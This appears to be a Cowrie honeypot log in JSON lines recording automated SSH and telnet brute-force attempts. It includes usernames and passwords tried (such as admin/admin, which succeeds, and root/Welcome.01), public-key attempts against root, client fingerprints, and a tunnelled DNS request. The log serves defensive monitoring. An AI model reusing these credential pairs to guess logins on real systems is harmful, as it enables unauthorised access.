{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:01.530167Z","src_ip":"87.251.64.176","session":"0444458325ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:01.624959Z","session":"0444458325ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:01.719265Z","src_ip":"87.251.64.176","session":"0444458325ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:01.815532Z","src_ip":"87.251.64.176","session":"0444458325ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33754,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bdf556a4bd3","protocol":"ssh","message":"New connection: 27.71.230.31:33754 (10.17.0.5:22) [session: 4bdf556a4bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:23.596306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:23.622454Z","src_ip":"27.71.230.31","session":"4bdf556a4bd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:23.887524Z","src_ip":"27.71.230.31","session":"4bdf556a4bd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54630,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b832e5e930b","protocol":"telnet","message":"New connection: 128.199.8.54:54630 (159.203.135.109:23) [session: 4b832e5e930b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:25.830036Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome.01","message":"login attempt [root/Welcome.01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:27.787036Z","src_ip":"27.71.230.31","session":"4bdf556a4bd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:29.099548Z","src_ip":"27.71.230.31","session":"4bdf556a4bd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":47058,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cc98ba9d00c","protocol":"ssh","message":"New connection: 72.17.34.38:47058 (10.17.0.5:22) [session: 3cc98ba9d00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:23.049161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:23.052959Z","src_ip":"72.17.34.38","session":"3cc98ba9d00c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:23.087199Z","src_ip":"72.17.34.38","session":"3cc98ba9d00c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2024","message":"login attempt [root/Admin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:23.257985Z","src_ip":"72.17.34.38","session":"3cc98ba9d00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:24.294599Z","src_ip":"72.17.34.38","session":"3cc98ba9d00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.878557443618774,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:27.708481Z","src_ip":"128.199.8.54","session":"4b832e5e930b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56094,"dst_ip":"159.203.135.109","dst_port":22,"session":"951acb4af1d5","protocol":"ssh","message":"New connection: 27.71.230.31:56094 (159.203.135.109:22) [session: 951acb4af1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:45.581245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:45.609026Z","src_ip":"27.71.230.31","session":"951acb4af1d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:45.877081Z","src_ip":"27.71.230.31","session":"951acb4af1d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome.01","message":"login attempt [root/Welcome.01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:50.802114Z","src_ip":"27.71.230.31","session":"951acb4af1d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.251","src_port":47730,"dst_ip":"10.17.0.5","dst_port":22,"session":"46a5d03cfa29","protocol":"ssh","message":"New connection: 209.90.232.251:47730 (10.17.0.5:22) [session: 46a5d03cfa29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.019758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.023941Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.097135Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:bd:7c:4e:e6:6c:79:ff:1e:3e:12:87:a8:f8:02:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqBPPvDKergu55ehu3AexucrPG99iMLMFD7Z4uaS4vpTqidCm3ihKMLUYhZxQhV5OjS+sHwMao8PNEyJZox+N2gfgb8slrLfdAGDLu7NswGzHf6jN5w0j4hS/qx/XxsuObfR9YxBnL7cS/7jTsy8z38W5Q6+5LVS2S8xPxanRj9G9C5fI1+giEykBcAds+2pm9CPBm5Se2GoguOJrY9flyGABoVt+jOUcm1jXV5fX1abLgxJ2bvsdDq40diUCUCucBOb2+cy9zjTb0pPuN3P/OGc0hF2ADDBnKbZwQlcHlvt3eCmDDkSlerttupl/rCkYGw543y99tT+UUI9qQekht","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:bd:7c:4e:e6:6c:79:ff:1e:3e:12:87:a8:f8:02:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.436224Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:bd:7c:4e:e6:6c:79:ff:1e:3e:12:87:a8:f8:02:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqBPPvDKergu55ehu3AexucrPG99iMLMFD7Z4uaS4vpTqidCm3ihKMLUYhZxQhV5OjS+sHwMao8PNEyJZox+N2gfgb8slrLfdAGDLu7NswGzHf6jN5w0j4hS/qx/XxsuObfR9YxBnL7cS/7jTsy8z38W5Q6+5LVS2S8xPxanRj9G9C5fI1+giEykBcAds+2pm9CPBm5Se2GoguOJrY9flyGABoVt+jOUcm1jXV5fX1abLgxJ2bvsdDq40diUCUCucBOb2+cy9zjTb0pPuN3P/OGc0hF2ADDBnKbZwQlcHlvt3eCmDDkSlerttupl/rCkYGw543y99tT+UUI9qQekht","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.439045Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:a2:3c:ec:23:48:49:e3:36:64:b2:88:22:76:bb:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp1UFY+W1cwMA/q0lsmWQMjDWY9Or7jgI6paauwPwCijnbkJfF1+GoQfo/QA3HR4JLLzATwCKsGQQpqmB/caNVFnL97i6zrTZWqc2aiFSMb5Cb+ddPjkmvdJNMmyHxDbMXDtEAlOO0baUzbzB6pIdlGzWWv8/sqDyqfzpyRZ9W/xuflDTW2UKISN0wYmkettCUAoAwf2O6vMQohGmsmUMm330cfPTQCFOrDRD7LsKg0qNO6C0OyTo5v7vv32JD9wpq2eCZoYIPHo1OiJm/6dJBFOD4JHl749rdoRUm7M837l7+PlVdcDgOtWa6p7S3ZcsM6/3TCjaDQavTXRnfT9XF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:a2:3c:ec:23:48:49:e3:36:64:b2:88:22:76:bb:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.510464Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:a2:3c:ec:23:48:49:e3:36:64:b2:88:22:76:bb:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp1UFY+W1cwMA/q0lsmWQMjDWY9Or7jgI6paauwPwCijnbkJfF1+GoQfo/QA3HR4JLLzATwCKsGQQpqmB/caNVFnL97i6zrTZWqc2aiFSMb5Cb+ddPjkmvdJNMmyHxDbMXDtEAlOO0baUzbzB6pIdlGzWWv8/sqDyqfzpyRZ9W/xuflDTW2UKISN0wYmkettCUAoAwf2O6vMQohGmsmUMm330cfPTQCFOrDRD7LsKg0qNO6C0OyTo5v7vv32JD9wpq2eCZoYIPHo1OiJm/6dJBFOD4JHl749rdoRUm7M837l7+PlVdcDgOtWa6p7S3ZcsM6/3TCjaDQavTXRnfT9XF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.516388Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:fd:50:6c:a5:ca:53:4f:09:0a:21:c5:28:79:82:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7PRgHsTpvSccNeB93/dL9WAoqZHI1hNPWLka3L951hJab8hCWn6vLwXiZxbWRIYq/fniXg+TNLjG3CPL93uigf3z52AM4Oo0KJj25voHXRpkBYnLjeXVfp3iOJ5SQvXsZls3JU1QHnUHPcF8N6HYlyVFLQkOXdeNsbTi95U6jdxhKALLIZqu2nttC+6TVYihOoqpuJy7PchI7P/k5Wq+Z2ZViV0w+BsBti4wlwRNMvNrFx3FnZ91bHQDaiNet9orK1oY4P9zhpOvI4IhUX3HsPQ3hjF+IXuGH0Hw8d9NbHeOEf1jQatjm2t/mKHSJ9KDySRg+hdekF+lilLWIUJRf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:fd:50:6c:a5:ca:53:4f:09:0a:21:c5:28:79:82:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.588740Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:fd:50:6c:a5:ca:53:4f:09:0a:21:c5:28:79:82:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7PRgHsTpvSccNeB93/dL9WAoqZHI1hNPWLka3L951hJab8hCWn6vLwXiZxbWRIYq/fniXg+TNLjG3CPL93uigf3z52AM4Oo0KJj25voHXRpkBYnLjeXVfp3iOJ5SQvXsZls3JU1QHnUHPcF8N6HYlyVFLQkOXdeNsbTi95U6jdxhKALLIZqu2nttC+6TVYihOoqpuJy7PchI7P/k5Wq+Z2ZViV0w+BsBti4wlwRNMvNrFx3FnZ91bHQDaiNet9orK1oY4P9zhpOvI4IhUX3HsPQ3hjF+IXuGH0Hw8d9NbHeOEf1jQatjm2t/mKHSJ9KDySRg+hdekF+lilLWIUJRf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.591581Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:53:27:cf:b4:40:89:06:9b:de:d2:f6:26:b7:76:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApeGMkbihmUEM45QY/JYOG1YZbzPZWQTmxv48t/5H0JqcyPyC8M1F8g2SK3WDhA4DpqdNVFcoH8EmTxoPIffMDTrR5BzUQimsqzJTVCJZgdFGhLGtHj1gSOHZkkF9sMsuBjRhXW6K8cF8IOCGgsKEzgCoyb0CYdcvd8fG3ci8OGFT6Fw+fKPfRCUEzcT+sXlBiCP514U2j2QLy8LxP4Np7lKrwtaKYFSfDmFJbK+jL35maavP8UDkrvPwg3JNk1z9iYg8jrZCcxeU7fOSLZffwmJYGxW34tH34yIBlwT1nfqMDE6V7D/4IKUVpF559672NJ8WK73WJuCjNlxbwHjhfQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:53:27:cf:b4:40:89:06:9b:de:d2:f6:26:b7:76:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.663312Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:53:27:cf:b4:40:89:06:9b:de:d2:f6:26:b7:76:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApeGMkbihmUEM45QY/JYOG1YZbzPZWQTmxv48t/5H0JqcyPyC8M1F8g2SK3WDhA4DpqdNVFcoH8EmTxoPIffMDTrR5BzUQimsqzJTVCJZgdFGhLGtHj1gSOHZkkF9sMsuBjRhXW6K8cF8IOCGgsKEzgCoyb0CYdcvd8fG3ci8OGFT6Fw+fKPfRCUEzcT+sXlBiCP514U2j2QLy8LxP4Np7lKrwtaKYFSfDmFJbK+jL35maavP8UDkrvPwg3JNk1z9iYg8jrZCcxeU7fOSLZffwmJYGxW34tH34yIBlwT1nfqMDE6V7D/4IKUVpF559672NJ8WK73WJuCjNlxbwHjhfQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.665541Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:ad:ad:07:f6:0e:93:20:cb:6c:13:3b:1a:4a:36:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw8BHLPqoTQTlKQ0xEz8Mr+w7sKWgJNE4jdbHTk8BmjbVAVOkl1ZMekQmf7kEwDJ79gE+v6TNpiqg03PFEW/PYTRgGg95UcV9NT/Rg9aX4+kNxbLEb+r1GqiEQZWjshIrMyxNrnqyX2HYhvuVpyOtaZ9RnwQUz5ov4WIV0e91KZ+RGV8DNhz7jt+y7+FZDsXS4YxiHwH799py6RRRAI5OLibQBHGw39pfDvBP5ecG9EmVUOPacp09X22Xh4ardPnMxdE2uFG532BEN/t6ES2Ylo2yQOzHClObk3peQXrjlDNN+3QHY4jT0tB77YJQRWTSkK/MqhMMeFsb85+m5TJrl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:ad:ad:07:f6:0e:93:20:cb:6c:13:3b:1a:4a:36:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.737176Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:ad:ad:07:f6:0e:93:20:cb:6c:13:3b:1a:4a:36:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw8BHLPqoTQTlKQ0xEz8Mr+w7sKWgJNE4jdbHTk8BmjbVAVOkl1ZMekQmf7kEwDJ79gE+v6TNpiqg03PFEW/PYTRgGg95UcV9NT/Rg9aX4+kNxbLEb+r1GqiEQZWjshIrMyxNrnqyX2HYhvuVpyOtaZ9RnwQUz5ov4WIV0e91KZ+RGV8DNhz7jt+y7+FZDsXS4YxiHwH799py6RRRAI5OLibQBHGw39pfDvBP5ecG9EmVUOPacp09X22Xh4ardPnMxdE2uFG532BEN/t6ES2Ylo2yQOzHClObk3peQXrjlDNN+3QHY4jT0tB77YJQRWTSkK/MqhMMeFsb85+m5TJrl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.740382Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:52.812768Z","src_ip":"209.90.232.251","session":"46a5d03cfa29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:48:55.281850Z","src_ip":"27.71.230.31","session":"951acb4af1d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":58742,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e07adf85209","protocol":"ssh","message":"New connection: 89.223.69.22:58742 (159.203.135.109:22) [session: 7e07adf85209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:49:46.395043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:49:46.401233Z","src_ip":"89.223.69.22","session":"7e07adf85209","protocol":"ssh"}
